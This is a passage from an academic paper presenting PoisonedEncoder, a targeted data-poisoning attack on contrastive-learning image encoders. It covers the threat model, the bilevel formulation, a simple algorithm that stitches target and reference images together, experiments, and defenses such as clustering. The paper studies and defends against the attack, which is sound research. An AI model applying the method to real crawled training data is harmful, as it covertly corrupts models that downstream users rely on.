inputs. Specifically, the outer optimization problem captures
the attack goals on the poisoned encoder, while the inner opti-
mization problem captures that the poisoned encoder is learnt
on the poisoned pre-training data. However, it is notoriously
challenging to solve bilevel optimization problems. To ad-
dress the challenge, we propose an approximate solution that
is tailored to contrastive learning. Specifically, contrastive
learning aims to learn an encoder that produces similar fea-
ture vectors for two randomly cropped views of an image.
Based on this observation, we concatenate a target input and
an image (called reference input) in the target class either
horizontally or vertically to construct a poisoning input. Since
two randomly cropped views of a poisoning input may cor-
respond to the target input and reference input, the poisoned
encoder may produce similar feature vectors for the target
input and reference input. Therefore, a target downstream
classifier built upon the poisoned encoder is likely to predict
the same class for the target and reference inputs, which is
the target class.

We evaluate PoisonedEncoder on multiple datasets in dif-
ferent settings. On one hand, PoisonedEncoder achieves high
attack success rate, i.e., the target downstream classifiers built
based on the poisoned encoder misclassify a large fraction of
target inputs as the target classes. On the other hand, Poisoned-
Encoder maintains the encoder’s utility, i.e., a downstream

classifier built based on a clean encoder and that built based
on a poisoned encoder for a target/non-target downstream
task have similar accuracy for non-target inputs. Poisoned-
Encoder can attack multiple target inputs and multiple tar-
get downstream tasks simultaneously. Moreover, we extend
state-of-the-art targeted data poisoning attacks designed for
supervised learning [22] and semi-supervised learning [11]
to poison the pre-training data in contrastive learning. Our
results show that PoisonedEncoder achieves higher attack
success rate than these extended attacks.

Defenses against data poisoning attacks can be roughly
categorized into pre-processing, in-processing, and post-
processing. We explore one pre-processing defense (i.e., de-
tecting and removing poisoning inputs before pre-training an
encoder), three in-processing defenses (i.e., early stopping of
pre-training an encoder and training a downstream classifier,
ensemble method, and pre-training without random cropping),
and one post-processing defense (i.e., fine-tuning a potentially
poisoned encoder using a clean pre-training dataset). Our re-
sults show that these defenses can reduce the attack success
rate of PoisonedEncoder, but they sacrifice the utility of the
encoder or require substantial manual efforts to collect a large
clean pre-training dataset.

Our key contributions can be summarized as follows:

• We propose PoisonedEncoder, the first data poisoning
attack to single-modal contrastive learning.

• We formulate PoisonedEncoder as a bilevel optimiza-
tion problem and propose a contrastive-learning-tailored
method to solve it.

• We extensively evaluate PoisonedEncoder in different
settings and compare it with state-of-the-art attacks ex-
tended to contrastive learning.

• We explore five defenses against PoisonedEncoder.

2 Background on Contrastive Learning

The pipeline of contrastive learning consists of two stages, i.e.,
pre-training an encoder and training downstream classifiers.
Next, we discuss these two stages in more detail.

2.1 Pre-training an Encoder
A key module of pre-training an encoder is random data
augmentation. Given a pre-training input, the random data
augmentation module generates two augmented views via a
series of random augmentation operations, such as random
cropping, random horizontal flipping, and randomly convert-
ing to grayscale. Two augmented views are named positive
pair (or negative pair) if they are from the same (or different)
pre-training input(s). Roughly speaking, the core idea of con-
trastive learning is to pre-train an encoder that outputs similar
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Figure 2: Illustration of contrastive learning when random
cropping is used to generate augmented views of a pre-
training input.

(or dissimilar) feature vectors for a positive (or negative) pair.
In particular, random cropping, which first crops a random
region with a certain size from an input and then resizes the
region to have the same size as the input, is a crucial data
augmentation operation for contrastive learning [14, 24]. Fig-
ure 2 illustrates the core idea of contrastive learning when
random cropping is used as a data augmentation operation.
As we will discuss, our PoisonedEncoder exploits the random
cropping operation to poison contrastive learning. Next, we
describe two representative contrastive learning algorithms,
SimCLR [14] and MoCo [24].
SimCLR [14]: Besides the data augmentation module, two
major components of SimCLR are the encoder f and the pro-
jection head h. The encoder f generates a feature vector f (x)
for an input x, while the projection head h performs non-linear
mapping for the feature vector f (x) via a multilayer percep-
tron, which is used to calculate contrastive loss. Given a mini-
batch of K pre-training inputs (denoted as {x1,x2, · · · ,xK}),
each of them is transformed into two randomly augmented
views via the data augmentation module, producing 2 ·K aug-
mented inputs: {x′1,x

′
2, · · · ,x′2·K}. For simplicity, we use ui to

denote the projection head’s output for the augmented view
x′i, i.e., ui = h( f (x′i)), where i = 1,2, · · · ,2 ·K. In particular,
given a positive pair (x′i,x′j), SimCLR defines its contrastive
loss as follows:

ℓi, j =− log
(︃

exp(sim(ui,u j)/τ)

∑
2·K
k=1 I(k ̸= i) · exp(sim(ui,uk)/τ)

)︃
, (1)

where sim(·, ·) denotes the cosine similarity score, I(k ̸= i) is
an indicator function, and τ is a temperature parameter. The
overall contrastive loss for this mini-batch is the sum of ℓi, j
over all positive pairs. Then SimCLR minimizes the overall
contrastive loss via jointly pre-training the encoder f and the
projection head h by back-propagation.
MoCo [24]: In addition to data augmentation, MoCo has
three key components: a query encoder fq, a momentum en-
coder fm, and a dictionary D. Given an input x, the query
encoder fq and the momentum encoder fm output feature
vectors fq(x) and fm(x) for it, respectively. In particular, the
query encoder fq and the momentum encoder fm have the

same encoder architecture. The feature vectors outputted by
the momentum encoder fm are also called keys. The dictionary
D maintains a queue of keys via adding keys that are pro-
duced in the most recent mini-batches while removing those
oldest keys from it. MoCo updates the momentum encoder fm
much slower than the query encoder fq to maintain the consis-
tency of keys in the dictionary D . Similar to SimCLR, given a
mini-batch of K pre-training inputs {x1,x2, · · · ,xK}, the data
augmentation module generates two randomly augmented
views for each of them. For each positive pair (x′i,x′j), x′i and
x′j are fed to the query encoder fq and momentum encoder fm,
respectively. The key fm(x′j) is enqueued into the dictionary
D . Given a positive pair (x′i,x′j), the contrastive loss of MoCo
is defined as follows:

ℓi, j =− log

⎛⎝exp
(︂

sim
(︂

fq(x′i), fm(x′j)
)︂
/τ

)︂
∑d∈D exp(sim( fq(x′i),d)/τ)

⎞⎠ , (2)

where sim(·, ·) means cosine similarity and τ is a temperature
parameter. The overall contrastive loss for this mini-batch is
the sum of ℓi, j over all positive pairs. MoCo minimizes the
overall contrastive loss via pre-training the query encoder fq
by back-propagation and then updates the momentum encoder
fm in a slowly evolving manner. The learnt query encoder is
used as a pre-trained encoder for downstream tasks.

2.2 Training Downstream Classifiers
The pre-trained encoder is used as a general-purpose feature
extractor for various downstream tasks. In particular, given a
pre-trained encoder and a small amount of downstream train-
ing data for a downstream task, the encoder outputs feature
vectors for the training inputs. Then, a downstream classifier
is trained based on the extracted feature vectors and corre-
sponding labels through standard supervised learning. In the
testing phase, the encoder is first used to extract feature vec-
tors for testing inputs. Then the downstream classifier outputs
predicted labels for the extracted feature vectors.

3 Problem Formulation

3.1 Threat Model

Attacker’s goal: An attacker selects one or multiple target
downstream tasks. For each target downstream task t, the
attacker chooses kt target inputs. We use xti to denote the
i-th target input for the t-th target downstream task, where
i = 1,2, · · · ,kt and t = 1,2, · · · ,T . For each target input xti,
the attacker chooses a target class yti, which is different from
the true class of xti. We note that multiple target inputs could
have the same target class, i.e., the attacker desires these target
inputs to be classified as the same target class. The attacker
aims to inject poisoning inputs into the unlabeled pre-training
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dataset, such that a poisoned encoder is pre-trained and the
downstream classifiers trained based on the poisoned encoder
for the target downstream tasks should simultaneously classify
the attacker-chosen target inputs as the corresponding attacker-
chosen target classes.
Attacker’s background knowledge: We assume the attacker
only has access to some images (called reference inputs) from
each target class. We denote the set of reference inputs from
target class yti as Xyti . We note that the reference inputs are not
used to train the downstream classifiers for the target down-
stream tasks. The attacker can collect the reference inputs
from different sources, e.g., from the Internet. Moreover, we
assume the attacker does not know the encoder’s pre-training
dataset, architecture, nor loss function.
Attacker’s capability: The attacker is able to inject poison-
ing images into the unlabeled pre-training dataset before it
is used to pre-train an encoder. An encoder provider often
automatically collects a large pre-training dataset from the In-
ternet using a web crawler and uses it to pre-train an encoder.
Therefore, the attacker can publish the poisoning images on
the Internet, e.g., host them on some crawler-accessible web-
sites or post them on social medias, so an encoder provider
would collect them as a part of its pre-training dataset. We
consider the attacker has resources to inject at most N poison-
ing images/inputs into the pre-training dataset. For simplicity,
we denote the clean pre-training dataset as Xc and we denote
the set of poisoning inputs as Xp.

3.2 Data Poisoning Attack
Given the attacker’s goal, background knowledge, and ca-
pability, we formulate our data poisoning attack as follows.
Recall that the attack requires downstream classifiers built
based on the poisoned encoder to classify the target inputs as
the corresponding target classes. However, it is challenging
to directly quantify this goal using downstream classifiers, as
we assume the attacker does not have control over the training
of downstream classifiers in our threat model. To address the
challenge, we propose to quantify the goal using the feature
vectors outputted by the poisoned encoder. Intuitively, if the
poisoned encoder produces similar feature vectors for a target
input xti with a target class yti and reference inputs from the
target class yti, then a downstream classifier built based on the
poisoned encoder would be likely to classify the target input
xti as the target class yti.

Therefore, the poisoned encoder should produce similar
feature vectors for the target inputs and reference inputs
in the same target class. In particular, we use a loss term
Lsim(xti,xr;θ) to quantify feature similarity between a target
input xti and a reference input xr, where their feature vectors
are outputted by an encoder θ and the feature similarity is the
cosine similarity between the two feature vectors. We adopt
cosine similarity because it is used by contrastive learning
to measure feature similarity. Our goal is to construct the

poisoning inputs Xp such that an encoder pre-trained on the
poisoned pre-training dataset Xc∪Xp maximizes the total loss
for all target inputs and reference inputs. Formally, we have
the following optimization problem:

max
Xp

1

∑
T
t=1 ∑

kt
i=1 |Xyti |

T

∑
t=1

kt

∑
i=1

∑
xr∈Xyti

Lsim (xti,xr;θ
∗ (Xc ∪Xp)) ,

(3)

s.t. θ
∗ (Xc ∪Xp) = argmin

θ

LCL (Xc ∪Xp;θ) , (4)

where T is the number of target downstream tasks, kt is the
number of target inputs for target downstream task t, Xyti is the
set of reference inputs from the target class yti, θ∗ (Xc ∪Xp) is
the poisoned encoder pre-trained on the poisoned pre-training
dataset Xc ∪Xp, Equation 3 means that the poisoned encoder
should produce similar feature vectors for the target inputs
and the corresponding reference inputs, and Equation 4 means
that the poisoned encoder is pre-trained on the poisoned pre-
training dataset using contrastive learning, where LCL is the
contrastive loss.

The set of poisoning inputs Xp is a solution to the above
optimization problem. We note that the optimization problem
is a bilevel one, where Equation 3 is the outer optimization
and Equation 4 is the inner optimization.

4 Our PoisonedEncoder

4.1 Challenges

The key of our data poisoning attack is to construct a set of poi-
soning inputs, which is a solution to the bilevel optimization
problem in Equation 3. However, it is notoriously challenging
to solve bilevel optimization problems in general [40]. Specif-
ically, gradient descent is a well-known iterative method to
solve optimization problems. Given an initial set of poison-
ing inputs Xp, we calculate the gradient of Equation 3 with

respect to Xp (i.e.,
∂∑

T
t=1 ∑

kt
i=1 ∑xr∈Xyti

Lsim(xti,xr ;θ∗(Xc∪Xp))

∑
T
t=1 ∑

kt
i=1 |Xyti |·∂Xp

), and

then we move Xp along the gradient with a small step. How-
ever, calculating such gradient requires the gradient of the
poisoned encoder θ∗ (Xc ∪Xp) with respect to the poisoning

inputs Xp, i.e.,
∂argminθLCL(Xc∪Xp;θ)

∂Xp
. In our threat model, the

attacker faces multiple challenges when calculating such gra-
dient: 1) the attacker does not know the clean pre-training
dataset Xc, 2) the attacker does not know the contrastive loss
function LCL, and 3) the encoder is a highly non-linear deep
neural network. As a result, it is challenging to use iterative
method to solve the bilevel optimization problem.

Therefore, we resort to non-iterative heuristic solutions to
the bilevel optimization problem. In particular, we propose an
approximate solution that is tailored to contrastive learning.
Our approximate solution does not require the gradient of the
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Figure 3: Illustration of PoisonedEncoder. Solving the inner optimization problem on the poisoned pre-training data also
approximately maximizes the outer objective function.
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(c) Combination 3 (d) Combination 4

Figure 4: Four combination methods to construct poisoning
inputs from a target input and a reference input.

poisoned encoder θ∗ (Xc ∪Xp) with respect to the poisoning
inputs Xp. Moreover, our solution does not require access to
the clean pre-training dataset nor the contrastive loss function,
and is applicable to highly non-linear deep neural network
based encoder. Next, we first introduce the intuition of our
approximate solution, and then describe the details on con-
structing poisoning inputs.

4.2 Our Intuition

The key idea of our method is to construct poisoning inputs
such that solving the inner optimization also approximately
solves the outer optimization. Note that an encoder provider
essentially solves the inner optimization problem when pre-
training an encoder based on a poisoned pre-training dataset.
Therefore, in our attack, an encoder pre-trained on a poisoned
pre-training dataset approximately maximizes the outer ob-
jective function. Contrastive learning aims to learn an en-
coder that produces similar feature vectors for two randomly
cropped views of an input. In other words, the inner optimiza-
tion in Equation 4 aims to optimize a poisoned encoder that
outputs similar feature vectors for any two randomly cropped
views of an input in the poisoned pre-training dataset Xc ∪Xp.
The outer optimization in Equation 3 aims to maximize the
similarity between a target input and a reference input. There-
fore, if two randomly cropped views of a poisoning input
correspond to a target input and a reference input, then the
poisoned encoder obtained from the inner optimization would
also maximize the similarity loss in the outer optimization.

Based on this intuition, our PoisonedEncoder constructs a
poisoning input by combining a target input and a reference
input, which is illustrated in Figure 3. Moreover, to increase
diversity of the poisoning inputs, we consider four ways of
combining a target input and a reference input, i.e., up (target)-
down(reference), up (reference)-down(target), left (target)-
right(reference), and left (reference)-right(target), which are il-
lustrated in Figure 4. As our experiments will show, Poisoned-
Encoder achieves higher attack success rate by using all four
combination methods. We note that such combined images
also naturally appear on the Internet. Figure 12 in Appendix
shows some examples of combined images from Google
search.
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Algorithm 1: Our PoisonedEncoder
1: Input: Target downstream tasks t = 1,2, · · · ,T , target

inputs xti and target classes yti where i = 1,2, · · · ,kt ,
reference inputs Xyti from the target class yti, number of
poisoning inputs N, a set of combination methods M .

2: Output: Poisoning inputs XP
3: XP = /0 \\ Initialize XP as an empty set
4: while |XP| ≤ N do
5: Randomly pick a target input xti
6: Randomly pick a reference input xr ∈ Xyti

7: Randomly pick a combination method m ∈ M
8: Combine xti and xr based on m as poisoning input
9: Add the poisoning input to XP

10: end while
11: return XP

4.3 Constructing Poisoning Inputs

Algorithm 1 shows the algorithmic details of Poisoned-
Encoder. Given a set of target downstream tasks, target inputs
and target classes for each target downstream task, reference
inputs from each target class, and a set of combination meth-
ods. We construct N poisoning inputs. To construct a poi-
soning input, we randomly pick a target input with a target
class, randomly pick a reference input from the target class,
and randomly pick a combination method; and then we com-
bine the target input and the reference input according to the
combination method as a poisoning input.

5 Evaluation

5.1 Experimental Setup

Pre-training datasets and encoders: We consider two
benchmark datasets, CIFAR10 [35] and Tiny-ImageNet [3], as
pre-training datasets. CIFAR10 dataset contains 50,000 train-
ing images and 10,000 testing images. Tiny-ImageNet dataset
contains 100,000 training images and 10,000 testing images.
Following prior work [14, 24], we use the training images of
each dataset as a pre-training dataset and we use multiple data
augmentations (random cropping, color jittering, Gaussian
blurring, random grayscale, and random horizontal flipping)
when pre-training encoders in experiments. Following prior
work [14, 24], we consider different scales of random crop-
ping, i.e., scale is randomly sampled from [0.08, 1] each time.
Moreover, we rescale each image to 32x32 in both datasets.

Unless otherwise mentioned, we use ResNet18 [25] as the
neural network architecture for an encoder and SimCLR [14]
to pre-train both poisoned and clean encoders. In particular,
we adopt the publicly available implementation [1] of Sim-
CLR with the default settings. We pre-train an encoder for 300
epochs using the Adam optimizer, an initial learning rate of

0.001, and a batch size of 512. However, we will also explore
the impact of encoder architecture, contrastive learning algo-
rithm, learning rate, batch size, and number of pre-training
epochs on PoisonedEncoder.

Training downstream classifiers: Given a pre-trained (poi-
soned or clean) encoder, we train downstream classifiers on
three downstream datasets, STL10 [16], Facemask [2], and
EuroSAT [26]. STL10 contains 13,000 labeled color images
from 10 classes. Specifically, the labeled data is divided into
5,000 training images and 8,000 testing images. Facemask
dataset is a binary classification task for detecting whether
a person wears a mask given his/her face image. It contains
10,000 training images and 993 testing images. EuroSAT
dataset consists of 10 classes with 27,000 labeled geographi-
cal images collected by satellites. We randomly and evenly
split the images into training and testing sets in EuroSAT. Like
the pre-training data, we also rescale each image to 32x32 in
these downstream datasets.

Following the contrastive learning paradigm [14, 24], we
adopt a neural network with one fully-connected layer as
a downstream classifier. Moreover, we train a downstream
classifier for 100 epochs using Adam optimizer, an initial
learning rate of 0.001, and a batch size of 512. We will explore
the impact of learning rate, batch size, and number of epochs
used to train a downstream classifier on PoisonedEncoder.

Evaluation metrics: We use attack success rate (ASR) as
well as a downstream classifier’s clean accuracy (CA) and
poisoned accuracy (PA) to evaluate PoisonedEncoder. ASR
is used to measure the attack success of PoisonedEncoder,
while CA and PA are used to measure the impact of Poisoned-
Encoder on the utility of the encoder. ASR is the fraction of
target inputs that are predicted as the corresponding target
classes by the target downstream classifiers trained on a poi-
soned encoder. A higher ASR indicates a more successful
attack. A downstream classifier’s CA and PA are the testing
accuracy of the downstream classifier trained on a clean and
poisoned encoder, respectively. A smaller difference between
CA and PA indicates that the attack better preserves the utility
of the encoder.

Compared data poisoning attacks: We compare our
PoisonedEncoder with the following two baseline attacks.
Note that these attacks were originally designed for super-
vised learning and semi-supervised learning, and we extend
them to contrastive learning.

• Witches’ Brew [22]: Witches’ Brew is a state-of-the-art
targeted data poisoning attack to deep neural network
classifier. The attack is formulated as a bilevel optimiza-
tion problem. Roughly speaking, Witches’ Brew uses
a gradient-based iterative method to solve the bilevel
optimization problem. In each iteration, they update the
poisoning inputs to maximize the alignment between
the gradient of the inner objective function and that of
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Table 1: ASRs of different attacks.

Pre-training
Dataset

Target Downstream
Dataset Witches’ Brew ICP Ours

CIFAR10
STL10 0.1 0.5 0.8

Facemask 0.1 0.6 0.9
EuroSAT 0.0 0.2 0.5

Tiny-ImageNet
STL10 0.0 0.4 0.7

Facemask 0.1 0.8 1.0
EuroSAT 0.0 0.2 0.4

the outer objective function, where the gradient is with
respect to the parameters of a clean classifier. We extend
their method to solve our formulated bilevel optimiza-
tion problem to craft poisoning inputs. Specifically, we
optimize poisoning inputs to maximize the alignment
between ∑

T
t=1 ∑

kt
i=1 ∑xr∈Xyti

−∇θLsim (xti,xr;θ(Xc ∪Xp))

and ∇θLCL (Xc ∪Xp;θ), where θ is a clean en-
coder. Moreover, following Withes’ Brew, we replace
∇θLCL (Xc ∪Xp;θ) as ∇θLCL (Xp;θ). Witches’ Brew re-
quires the attacker has access to a clean encoder and
the contrastive loss function LCL, where we assume the
clean encoder is trained on a clean pre-training dataset
in our experiments. Note that we give advantages to
Witches’ Brew, as our PoisonedEncoder does not require
these information.

• Interpolation Consistency Poisoning (ICP) [11]: Car-
lini proposed ICP, a targeted data poisoning attack, to
semi-supervised learning. Roughly speaking, ICP crafts
unlabeled poisoning inputs as interpolations between
a target input and reference inputs. We apply ICP to
contrastive learning. For a fair comparison, Poisoned-
Encoder and ICP use the same target input and reference
inputs to craft poisoning inputs. We implemented ICP
and adopted its default parameter settings from the paper.

Parameter settings: Unless otherwise mentioned, we con-
sider the following parameter settings for PoisonedEncoder:
the attacker chooses one target downstream dataset, randomly
picks one testing input from the target downstream dataset
as a target input, and randomly picks a class that is not the
true class of the target input as a target class. The attacker has
50 reference inputs that are testing inputs randomly sampled
from the target class in the target downstream dataset. The at-
tacker injects 1% poisoning inputs to a pre-training dataset. In
particular, the attacker injects 500 and 1,000 poisoning inputs
into the pre-training datasets CIFAR10 and Tiny-ImageNet,
respectively. For each experiment, we repeat it for 10 trials
and report the average results. Unless otherwise mentioned,
we assume the target downstream dataset is STL10. We note
that after combining a target input and a reference input as
a poisoning input, we resize the poisoning input to have the
same size as the target/reference input, i.e., 32x32. We per-
formed experiments on 18 NVIDIA-RTX-6000 GPUs, each
of which has 24 GB memory.

Table 2: Values of the outer objective function in Equation 3
obtained under different attacks, where pre-training dataset is
CIFAR10 and target downstream dataset is STL10.

No Attack Witches’ Brew ICP Ours
0.183 0.257 0.463 0.689

5.2 Experimental Results

PoisonedEncoder achieves high attack success rates: Ta-
ble 1 shows the ASRs of different attacks on different
pre-training datasets and target downstream datasets. Our
PoisonedEncoder achieves higher ASRs than the compared
attacks. Specifically, our attack achieves at least 0.2 higher
ASR than ICP, while Witches’ Brew is almost ineffective.
The reason is that ICP and Witches’ Brew were respectively
tailored for semi-supervised learning and supervised learning,
and they achieve suboptimal success rates when extended to
contrastive learning.

In particular, the poisoning inputs constructed by Poisoned-
Encoder are better solutions to our formulated bilevel opti-
mization problem in Equation 3 and 4 than those constructed
by Witches’ Brew and ICP. To further illustrate this point,
we calculate the cosine similarity score between the feature
vector of the target input and that of each reference input,
and we compute the average of the cosine similarity scores,
which is the value of the outer objective function in Equa-
tion 3. Table 2 shows the average cosine similarity scores (i.e.,
the outer objective function values) under different attacks.
We observe that PoisonedEncoder achieves higher average
cosine similarity score, which confirms that PoisonedEncoder
is a better solution to the bilevel optimization problem than
Witches’ Brew and ICP.

We also observe that ICP achieves moderate ASRs and is
much more successful than Witches’ Brew. This is because
both the semi-supervised learning algorithms attacked by ICP
and contrastive learning use data augmentations during (pre-
)training. As a result, ICP is a better solution to our formulated
bilevel optimization problem than Witches’ Brew, as shown
in Table 2.

Our PoisonedEncoder is also effective when the pre-
training dataset is large. For instance, our attack’s ASR is 0.7
when the pre-training dataset is the full ImageNet dataset [46]
and the target downstream dataset is Facemask, where the
parameters are set to their default settings. It took us around
5 days to pre-train 10 encoders on the full ImageNet dataset.
Due to the limited computing resources, we were not able to
perform other experiments on the full ImageNet dataset.
PoisonedEncoder preserves utility: Table 3 shows the
CA and PA of different downstream classifiers. In particular,
given a pre-training dataset and a target downstream dataset,
we evaluate both CA and PA on all the three downstream
datasets. In most cases, the gap between the CA and PA for
a downstream dataset is within 1%. Our results indicate that
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Table 3: CAs and PAs of downstream classifiers.

Pre-training
Dataset

Target Downstream
Dataset

Downstream
Dataset CA PA

CIFAR10

STL10
STL10 0.718 0.715

Facemask 0.947 0.952
EuroSAT 0.815 0.821

Facemask
STL10 0.718 0.716

Facemask 0.947 0.937
EuroSAT 0.815 0.820

EuroSAT
STL10 0.718 0.724

Facemask 0.947 0.953
EuroSAT 0.815 0.797

Tiny-ImageNet

STL10
STL10 0.635 0.637

Facemask 0.965 0.968
EuroSAT 0.816 0.853

Facemask
STL10 0.635 0.633

Facemask 0.965 0.977
EuroSAT 0.816 0.855

EuroSAT
STL10 0.635 0.633

Facemask 0.965 0.970
EuroSAT 0.816 0.844

Table 4: ASR of PoisonedEncoder when using different com-
bination methods to construct poisoning inputs. The combi-
nation methods come from Figure 4.

(a) Pre-trained on CIFAR10

Combination Method ASR
1 0.4
2 0.5
3 0.5
4 0.6

1+2 0.5
1+2+3 0.6

1+2+3+4 0.8

(b) Pre-trained on Tiny-ImageNet

Combination Method ASR
1 0.3
2 0.3
3 0.2
4 0.4

1+2 0.5
1+2+3 0.6

1+2+3+4 0.7
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Figure 5: (a) Impact of the number of reference inputs. (b)
Impact of poisoning rate, where the x-axis is in log-scale.

PoisonedEncoder preserves the utility of the encoder. This is
because our poisoning inputs are still natural images and a
neural network encoder is expressive, which not only learns
high-performing feature representations for non-target inputs
but also learns the hidden behavior from our attack. We also
found PoisonedEncoder preserves the utility for the target
class and class of the target input. For instance, when the
pre-training dataset is CIFAR10 and the target downstream

Table 5: ASR of PoisonedEncoder for different contrastive
learning algorithms.

(a) Pre-trained on CIFAR10

Pre-training Algorithm ASR
SimCLR 0.8

MoCo 0.6

(b) Pre-trained on Tiny-ImageNet

Pre-training Algorithm ASR
SimCLR 0.7

MoCo 0.8

Table 6: ASR of PoisonedEncoder for different architectures.

(a) Pre-trained on CIFAR10

Encoder Architecture ASR
ResNet18 0.8
VGG11 0.9

MobileNet-v2 0.8

(b) Pre-trained on Tiny-ImageNet

Encoder Architecture ASR
ResNet18 0.7
VGG11 0.8

MobileNet-v2 0.8

dataset is STL10, the CA and PA of the downstream classifier
for the target class (or class of the target input) are respectively
0.702 and 0.698 (or 0.742 and 0.745).
Impact of different combination methods: Poisoned-
Encoder uses four combination methods to construct poison-
ing inputs. One natural question is whether it is necessary to
use all of them. Table 4 shows the ASR of PoisonedEncoder
when using any one of the four combination methods or their
combinations, e.g., 1+2+3 means using the first three combi-
nation methods. Our results show that PoisonedEncoder with
any of the four combination methods achieves similar ASRs.
When using more combination methods, PoisonedEncoder
achieves higher ASRs, e.g., 1+2+3 achieves higher ASRs than
1+2, and 1+2+3+4 achieves higher ASRs than 1+2+3. This
is because the poisoning inputs are more diverse when more
combination methods are used.
Impact of the number of reference inputs and poisoning
rate: Figure 5a and Figure 5b respectively show the impact of
the number of reference inputs and poisoning rate on ASR of
PoisonedEncoder for the two pre-training datasets. A general
trend is that the ASR of our PoisonedEncoder first increases
and then saturates as the attacker uses more reference inputs or
injects more poisoning inputs (i.e., poisoning rate increases).
This is because the pre-trained poisoned encoder is more
likely to produce similar feature vectors for the target inputs
and some reference inputs when the number of reference
inputs or the poisoning rate is larger.
PoisonedEncoder is agnostic to contrastive learning algo-
rithm and encoder architecture: Table 5 shows the ASR
of PoisonedEncoder when SimCLR and MoCo are used to
pre-train encoders. For MoCo, we adopt its publicly available
implementation [4] with the default settings. Our results show
that PoisonedEncoder is effective for both contrastive learning
algorithms. This is because both algorithms use random crop-
ping to generate augmented views during pre-training. Table 6
shows ASR of PoisonedEncoder for different encoder archi-
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(b) ASR for different target classes of target inputs

Figure 6: ASR for different true or target classes.

tectures. Our results show that PoisonedEncoder is agnostic to
encoder architecture. This is because PoisonedEncoder does
not rely on encoder architecture to construct poisoning inputs.
Impact of the true class and target class of the target
input: Figure 6a shows the ASR of PoisonedEncoder when
the target input is from different true classes, where the pre-
training dataset is CIFAR10 and the target downstream dataset
is STL10 that has 10 classes. In particular, given a true class
of the target downstream dataset, we have 9 target classes that
are not the true class; and for each target class, we randomly
sample a target input from the true class and assign the target
class for it. Therefore, we perform 9 experimental trials for
a true class, and the ASR of PoisonedEncoder for the true
class is averaged over the 9 trials. Our results indicate that
some true classes (e.g., deer, bird, dog, etc.) are easier to be
attacked than other true classes (e.g., ship, airplane, etc.). We
suspect the reason is that the pre-trained encoder’s learned
feature representations are more robust for some true classes,
which are harder to be attacked.

Figure 6b shows the ASR of PoisonedEncoder for different
target classes. In particular, given a target class, we have 9
true classes that are not the target class; and for each true class,
we randomly sample a target input from the true class and
assign the target class to it. Thus, we perform 9 experimental
trials for each target class, and the ASR of PoisonedEncoder
for the target class is averaged over the 9 trials. We have two
observations. First, our PoisonedEncoder achieves very high
ASRs (1.00) for most target classes. This means that, for most
target classes, our poisoning inputs make the poisoned en-
coder output highly similar feature vectors for a target input
and reference inputs, and thus the target downstream classifier
trained on the poisoned encoder is very likely to predict the
target input as the target class. Second, we observe that the
ASRs of target class ‘dog’ (0.11) and target class ‘monkey’
(0.56) are much lower than those of the other target classes.
We found the reason is that the target downstream classifier
is less accurate for these two classes. Specifically, the tar-
get downstream classifier’s PAs for the ‘dog’ and ‘monkey’
classes are respectively 0.495 and 0.542, which are much
lower than the average 0.715 PA of the other classes.
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Figure 7: ASR of PoisonedEncoder when attacking multiple
target inputs simultaneously.

Table 7: ASR of PoisonedEncoder when attacking three target
downstream tasks simultaneously.

(a) Pre-trained on CIFAR10

Target Downstream
Tasks ASR

STL10 0.8
Facemask 0.9
EuroSAT 0.5

(b) Pre-trained on Tiny-ImageNet

Target Downstream
Tasks ASR

STL10 0.6
Facemask 1.0
EuroSAT 0.4

Impact of the number of target inputs and target down-
stream tasks: Figure 7 shows the ASR of our Poisoned-
Encoder when the attacker selects different numbers of ran-
dom target inputs from the same target downstream task. The
ASRs keep high as the number of target inputs increases.
Table 7 shows the ASR on each target downstream dataset
when the attacker attacks three target downstream datasets si-
multaneously. In this experiment, for each target downstream
dataset, the attacker chooses one target input and target class
at random, and the poisoning rate is 1%. We observe that
PoisonedEncoder can effectively attack multiple target down-
stream tasks simultaneously. Moreover, by comparing Table 7
with Table 1, we find that attacking multiple target down-
stream tasks simultaneously achieves the same or comparable
ASRs as attacking each target downstream task separately.
This is because the poisoning rate for each target downstream
task is the same in these two experiments. We also found that
attacking multiple target downstream tasks simultaneously
achieves smaller ASRs when the total poisoning rate is fixed
to be 1%. In other words, ASR of PoisonedEncoder depends
on the poisoning rate per target downstream task.

Impact of other parameters: Table 8 shows the ASR of
PoisonedEncoder when pre-training encoder and training the
target downstream classifier use different learning rates or
batch sizes, where the pre-training dataset is CFIAR10 and
target downstream dataset is STL10. We show the results of
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Table 8: ASR of PoisonedEncoder when pre-training encoder
and training the target downstream classifier use different
learning rates or batch sizes.

Phase Parameter Value ASR

Pre-training
Encoders

Learning
Rate

5×10−3 0.5
1×10−3 0.8
5×10−4 0.8

Batch size
256 0.8
512 0.8

1024 0.8

Training
Downstream

Classifier

Learning
Rate

5×10−3 0.8
1×10−3 0.8
5×10−4 0.8

Batch size
256 0.7
512 0.8

1024 0.8
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Figure 8: ASR of PoisonedEncoder when the attacker ran-
domly crops a target/reference input with different cropping
scales before using them to construct poisoning inputs, where
no defenses are deployed.

different number of epochs used to pre-train encoder and train
downstream classifier in Section 6.2 when we explore early
stopping as a defense. PoisonedEncoder achieves consistently
high ASRs across different parameter settings. Poisoned-
Encoder achieves a slightly lower ASR when the learning
rate for pre-training encoder is 5 × 10−3. This is because
the encoder pre-trained with this learning rate outputs less-
performing feature representations. In particular, the target
downstream classifier has smaller CA/PA in this setting, mak-
ing PoisonedEncoder achieve lower ASR.

6 Defenses

Defenses against data poisoning attacks can be categorized
into pre-processing, in-processing, and post-processing (de-
tails are discussed in Section 7.2). We explore one pre-
processing defense (i.e., detecting poisoning inputs before
pre-training), three in-processing defenses (i.e., re-designing
the contrastive learning algorithm to be more robust), and one
post-processing defense (i.e., fine-tuning a potentially poi-
soned encoder to remove the attack effect). In the following
defense experiments, unless otherwise mentioned, we use the
default parameter settings in Section 5.1 and consider STL10
as the target downstream task.

6.1 Pre-processing Defense

When there are a small number of reference inputs, Poisoned-
Encoder combines target inputs with a limited number of
reference inputs to construct poisoning inputs. As a result,
there are duplicate poisoning inputs. In particular, the poison-
ing input crafted from one of the four combinations of a target
input and a reference input may appear multiple times in the
poisoned pre-training data. Therefore, the encoder provider
can first remove duplicates in the pre-training data. However,
such duplicates checking is insufficient when the attacker has
a large number of reference inputs. Therefore, we further ex-
plore a clustering-based method to detect poisoning inputs
after removing duplicate pre-training inputs. Our intuition
is that the poisoning inputs contain the same target inputs
and thus may appear in the same clusters after clustering the
pre-training inputs. Specifically, we group the pre-training
images into K clusters using K-Means with ℓ2-distance met-
ric on the pixel values and predict the four clusters with the
smallest average pair-wise ℓ2-distance as poisoning inputs.
We consider the four clusters because PoisonedEncoder uses
the four combinations to construct poisoning inputs, each of
